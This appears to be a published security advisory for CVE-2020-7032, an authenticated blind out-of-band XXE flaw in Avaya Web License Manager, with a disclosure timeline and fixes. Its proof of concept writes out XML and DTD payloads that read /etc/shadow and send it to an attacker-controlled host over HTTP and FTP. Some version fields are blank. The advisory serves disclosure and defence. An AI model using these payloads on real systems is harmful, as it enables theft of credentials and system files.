Avaya Web License Manager XML Injection

Avaya Web License Manager versions 6.x, 7.0 through, and 8.0 through suffer from a blind out-of-band XML external entity injection vulnerability.

MD5 | e259c56c68f946e44611814c7f1cdd66

SEC Consult Vulnerability Lab Security Advisory < 20201117-0 >
title: Blind Out-Of-Band XML External Entity Injection (Authenticated)
product: Avaya Web License Manager
vulnerable version: 6.x, 7.0 through, 8.0 through
fixed version: and 8.1.3
CVE number: CVE-2020-7032
impact: medium (6.5)
homepage: https://www.avaya.com/en/
found: 03/2020
by: M. Koplin (Office Munich)
SEC Consult Vulnerability Lab

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Vendor description:
"As a global leader in delivering superior communications experiences,
Avaya provides the most complete portfolio of software and services
for multi-touch contact center and unified communications offered on
premises, in the cloud, or a hybrid. Today's digital world centers on
communications enablement, and no other company is better positioned
to do this than Avaya."

Source: https://www.avaya.com/en/

Business recommendation:
The vendor provides a patch for the Avaya Web License Manager which
should be installed immediately.

SEC Consult recommends to perform a thorough security review conducted by
security professionals to identify and resolve all security issues.

Vulnerability overview/description:
1) Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032)
This vulnerability within the Avaya Web License Manager (WebLM) allows an
authenticated user to read arbitrary files in the context of the Webserver
(Tomcat) by uploading a specially crafted XML file within the License upload
functionality. Accessible sensitive files that can be read are for example
/etc/shadow, SSH keys or other configuration files.

Proof of concept:
1) Blind Out-Of-Band XML External Entity Injection (CVE-2020-7032)
Login as a user to https://$IP/WebLM/ and navigate to "Install License". If
WebLM has never been used before or not hardened, the default credentials are

Create an XML file like the following:

<?xml version="1.0" ?>
<!ENTITY % asd SYSTEM "http://$ATTACKER_IP/xxe_file.dtd">

and a DTD file like:

<!ENTITY % d SYSTEM "file:///etc/shadow">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://$ATTACKER_IP:2121/%d;'>">

Start a webserver, e.g. SimpleHTTPServer

python -m SimpleHTTPServer 80

and an FTP server like GO XXE FTP Server

./xxeserv 2121

Upload the crafted XML file by clicking the install button.

Vulnerable / tested versions:
The following version has been tested:
* Avaya Web License Manager 6.3

The vendor doesn't support versions < 7.x. Probably all versions <7 are

Vendor contact timeline:
2020-03-18: Contacting vendor through [email protected]
2020-03-19: Vendor replied and started the process to verify the vulnerability
2020-04-03: Second mail to vendor to check if they have verified the issue
2020-05-18: Release of Hotfix for WebLM (embedded with SMGR) version 8.1.2.x
2020-07-01: Advisory release postponed, due to a delayed patch for version 7
2020-11-16: Patch release for version 7 and 8 of WebLM standalone and SMGR
2020-11-17: Publication of the advisory.

Version 6: Upgrade to a new major release
Version 7: Upgrade to or later
Version 8: Install hot fix #7 or upgrade to version 8.1.3


Advisory URL:


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EOF M. Koplin / @2020

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